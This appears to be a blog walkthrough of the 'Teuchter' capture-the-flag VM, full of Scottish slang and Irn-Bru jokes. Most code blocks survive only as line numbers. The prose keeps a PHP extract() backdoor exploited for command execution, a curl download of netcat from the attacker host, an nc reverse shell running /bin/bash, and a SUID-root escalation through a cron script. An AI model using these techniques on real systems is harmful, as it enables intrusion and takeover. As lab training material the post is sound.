Today’s target is called Teuchter, and yes, apparently that’s a word. There is a theme for this machine, and this why this blog post is also..different. ye will need to hang tight to yer sanity for this one. Or drink some Irn-Bru. Ah had to look at other walkthroughs when Ah got stuck and some time was spent checking Scottish references, but it was all worth it!
So, what’s a Teuchter? The Wiktionary definition is:
(derogatory) A Highlander especially if Gaelic-speaking; a rural Scot in general; (in Glasgow and surrounding areas) a Scot with a thick accent from outside west-central Scotland.
Some hints from the author:
This VM is designed to be a bit of a joke/troll so a translator might be useful.
The challenge isn’t over with root. I’ve done my usual flag shenanigans.
A bit of info security research and knowing yer target helps here.
http://www.jackiestewart.co.uk/jokes/weegie%20windies%202000.htm
And this one:
Less hochmagandy and more studying is needed for this one!
Ah am sure ye have questions, so:
hochmagandy – Scottish a mainly jocular or literary word for sexual intercourse
Isn’t this a promising start..
Nothing much to start from, just a web server:
1 2 3 |
|
On the homepage there is just a GIF and a message:
Ran exiftool on the picture and found nothing. However, there are several comments in the source code:
1 2 3 |
|
Wullie seems to be the central character here..William? Wallace? We do have a Highlander reference above, and it fits the Scottish theme. While Ah was googling, Ah found this gem on the Urban Dictionary:
1 2 3 4 5 6 |
|
Let’s get back to the challenge, we have 3 potential web directories to check. In the meantime, Ah have Googled for .pht, since Ah have never seen that extension:
The pht file extension is associated with the Partial Hypertext file format.
The pht file stores HTML page that includes a PHP script, dynamically generates HTML, often by accessing database information.
PHT seems to be very little used format.
Mime types: application/x-httpd-php text/html
Back to the web server, /gallery/ is full of pictures, and the title is Dirty Foties..which Ah think stands for dirty feet. Because ye walk a lot..(someone needs some Irn-Bru)
There are more hints in the source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
|
North Kilttown is a Scottish town from The Simpsons. Ah searched for the word doolally, even though Ah got the gist from the context. From Wikipedia:
“Doolally”, originally “doolally tap”, meaning to ‘lose one′s mind’, derived from the boredom felt at the Deolali British Army transit camp.
The Urban Dictionary has another priceless definition for a glass cheque:
A Glaswegian term: Describes a special glass bottle, containing Irn-Bru, or other similar soft drink, available in many cornershops in Scotland. The bottle is returnable and currently attracts a 25p refund when ye give the bottle back to the shop. Called a cheque as they are often collected and cashed (like a cheque)by students and cheap bastards alike either to buy more Bru, or with enough bottles, some skag.
If ye’re not curious about what something called Irn-Bru is, ye’re a bawheid!
The ultimate hangover cure. Tastes best when consumed directly from a 750ml glass bottle.
Another one of Scotland’s many national identities.
Scotland is the only country in the world that produces a soft drink that outsells Coca Cola.
Ah must try some Irn-Bru! By the way, if ye were wondering, the “Wee hoose on the corner” is nothing spectacular…only the Edinburgh Castle! The Kelpies are 30-metre-high horse-head sculptures featuring kelpies…so what are kelpies? +1 to mythology skill:
Kelpie, or water kelpie, is the Scots name given to a shape-shifting water spirit inhabiting the lochs and pools of Scotland. It has usually been described as appearing as a horse, but is able to adopt human form
How did Ah get in this spiral? Ah had a box to hack..ye know what would help me focus? It starts with Irn and ends with Bru!
The /flicks/ directory gives a 403 Forbidden error, but also discloses the web server version, which is Apache/2.4.18 (Ubuntu) Server
The /telly/ directory also has a picture and 2 videos, along with more hints:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
|
In case ye forgot about Irn-Bru, here’s a reminder:
A.G. BARR p.l.c., commonly known as Barr’s, is a Scottish soft drink manufacturer, based in Cumbernauld, Scotland. It manufactures the popular Scottish drink, Irn-Bru
Back to the challenge…but it would be easier if Ah had some Irn-Bru! At this point, the only actionable hint Ah could understand was the one about phpinfo. There is no third video on the page, so Ah just tried navigating to http://192.168.145.131/flicks/phpinfo.php, which didn’t work. Following on the hint about .pht extensions, Ah changed it to http://192.168.145.131/flicks/phpinfo.pht and got a blank page instead.
After some Googling and drooling over Irn-Bru, Ah found a blog post about PHP Backdoors: Hidden With Clever Use of Extract Function. It explains about a seemingly innocuous backdoor with the code:
1 2 |
|
The extract() function imports variables into the local symbol table from an array.
This function uses array keys as variable names and values as variable values. For each element it will create a variable in the current symbol table.
The blog post is a very interesting read, and the applicable item is that the code is extracting content sent via GET/POST requests and creating variables that are then executed with the format execute ctime with atime as argument
Following the example, running http://192.168.145.131/flicks/phpinfo.pht?ctime=system&atime=whoami returns www-data, so we have achieved command execution! Time for an Irn-Bru break…
Doing very light enumeration, Ah found out that netcat is available on the target, so Ah fired up a listener and tried using netcat to serve a shell on my listener, but it didn’t work. So Ah used Python’s SimpleHTTPServer to transfer my netcat to the target system. Note that ye have to use URL encoding: http://192.168.145.131/flicks/phpinfo.pht?ctime=system&atime=curl%20http%3A%2F%2F192.168.145.129%2Fnc%20--output%20nc
The binary was downloaded to /var/www/html/flicks
. Ah made it executable and ran it, but nothing happened. Next, Ah moved it to /tmp and ran it from there with 192.168.145.131/flicks/phpinfo.pht?ctime=system&atime=%2Ftmp%2Fnc%20192.168.145.129%208080%20-e%20%2Fbin%2Fbash
and it worked:
1 2 3 4 5 |
|
We have a reverse shell, but it’s very limited. The usual Python shell spawning didn’t work, because on the box there’s actually Python 3. Which only changes things slightly: python3 -c “import pty; pty.spawn(‘/bin/bash’);”
1 2 3 4 |
|
Inside cpgrogan there’s a kochanski directory that we’re not permitted to view. In jkerr’s home there’s an empty .sudo_as_admin_successful file, but we find a hint about jkerr’s password:
1 2 3 4 5 6 7 8 9 10 |
|
And inside proclaimers there are 2 directories. We can’t enter 500miles, but inside letterfromamerica there are 2 interesting files belonging to root:
1 2 3 4 5 6 7 |
|
Inside test there is some kind of message, stating that “So Claire was right about those wildcards”, and semaphore is an executable. Running it gives a shell under the same user account. Probably need more information (or Irn-Bru) before exploiting this.
Back to the next step, did a su to jkerr and used breakfastclub as a password and it worked! Ah used Python to transfer the images to my machine and broke my shell in the process:
1 2 3 4 5 6 7 8 9 10 11 12 |
|
An Irn-Bru would have prevented that mistake! After redoing the steps, Ah ran exiftool on the downloaded images and found a base64 encoded string in promisedyeamiracle.jpg:
1
|
|
Decoded, it means gemini. Ah didn’t know what to do with this, so Ah googled for the other user accounts.
cpgrogan:
Claire Patricia Grogan (born 17 March 1962), known professionally as Clare Grogan or sometimes as C. P. Grogan, is a Scottish actress and singer. She is best known as the lead singer of the 1980s new wave music group Altered Images and for supporting roles in the 1981 film Gregory’s Girl and the science fiction sitcom Red Dwarf as the first incarnation of Kristine Kochansk
proclaimers:
The Proclaimers are a Scottish music duo composed of twin brothers Charlie and Craig Reid (born 5 March 1962). They are best known for their songs “I’m Gonna Be (500 Miles)”, “Sunshine on Leith”, “I’m On My Way” and “Letter from America”, and their singing style with a Scottish accent
Well, we don’t need an Irn-Bru to connect the dots, gemini, twins! That is actually the password for the proclaimers account. Now to get back to the folders from before:
1 2 3 4 5 6 7 8 9 10 |
|
Ah downloaded the images in case of need and out of curiosity. Then it was back to the semaphore. Ah grepped for files containing the word semaphore, and tried avoiding being flooded by irrelevant results like libraries. Eventually, Ah got a hit under /usr/local, in the /usr/local/bin/numpties.sh
file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
|
Back to the dictionaries it is, and memory alert, Ah remembered being called a numpty once!
numpty – A person who is incapable of performing the simplest of task correctly. Usual symptoms include poor hand-eye coordination, zero common sense and the general illusion that they are special (caused by parents referring to them as such and the numpty not fully grasping the meaning implied).
Common causes are being dropped as a baby or repeated heavy blows to head in later life.
dobber – A Glasgow term for a dick head or in general just a stupid cunt.
Now for the code, attempts to put PHP shells on the server fail because the shells get deleted. Also, a couple of file transfer utilities have been removed (the reason why Ah resorted to curl). It looks like this might be used in a cronjob. Finally, if the semaphore file exists, its owner is changed to root and the SUID bit is set. Which means, we can create a semaphore file that would allow us to become root if it were SUID.
On my box, Ah compiled an executable (no GCC on the target) with the following C code:
1 2 3 4 5 6 7 |
|
Ah made it executable for everyone and transfered it to the target, again with curl:
1 2 3 4 |
|
Waited a while, thought about some Irn-Bru, came back and got root!
1 2 |
|
Finding the flag is usually the last step, but not on knightmare’s machines!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
|
Ah transfered the flag.jpg to my machine with netcat, but no metadata that could help. The text file is not the right one, obviously:
1 2 3 4 5 |
|
Looking around further:
1 2 3 4 5 |
|
The directory tree goes…on..and on…Ah used a Python script to solve this annoyance:
1 2 3 4 5 6 7 8 |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
|
Inside this madness there’s a 12M archive. Ah moved it to a sane location, transfered it to my machine, and attempted to extract it, but it was password protected. No need for cracking, guessing from all the options, the password is Teuchter:
1 2 3 4 |
|
A VMDK disk. There’s actually a hint for this inside root’s crontab entries:
1 2 |
|
Let’s see what the package does:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
Ah installed the package, and then hit a standstill on how to actually mount the virtual disk. After trying several approaches and failing, what worked was attaching the VMDK to my Kali virtual machine from the host. Ah had to change the compatibility of my VM for that to work, but it could possibly also work by editing the VMDK and changing ddb.virtualHWVersion to a version matching the VM’s compatibility, but Ah haven’t tried that. After doing it like that, Ah was able to see the disk under /dev/sdb1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
|
Now Ah could mount it and see what’s inside:
1 2 3 |
|
The hint mentions a password made of 25 characters that we should be able to find from what we’ve been through:
1 2 3 4 |
|
In the redkola (Irn-Bru, anyone?) folder there are more VMDK files, but at least the hint focuses us on the ISO:
1 2 3 |
|
Ah mounted the ISO next:
1 2 3 |
|
All that Irn-Bru! And with something extra, perhaps? Enter steghide!
steghide
Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. The color- respectivly sample-frequencies are not changed thus making the embedding resistant against first-order statistical tests.
Features include the compression of the embedded data, encryption of the embedded data and automatic integrity checking using a checksum. The JPEG, BMP, WAV and AU file formats are supported for use as cover file. There are no restrictions on the format of the secret data.
Steghide can also be used to check for the presence of a secret message and to extract it, if provided the correct passphrase. Putting together all the hints (scotland, girders, irn-bru wiki page) or just watching and listening to the advert gives us the passphrase madeinscotlandfromgirders
1 2 3 4 5 6 7 8 9 10 |
|
Aaand, after much pain, we have the flag!
1 2 3 |
|
Achievement unlocked: Unlimited Irn-Bru!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
|
This challenge cost me 1.5 days of the weekend, but it was funny as feck! And Ah learned a couple slang words that will sure come in handy. AND IRN-BRU!!! Which, in case ye haven’t figured it out, stands for Iron Brew! Cheers, knightmare!
Just gonna leave this here:
And this:
It’s not over:
1 2 3 4 5 6 7 8 9 |
|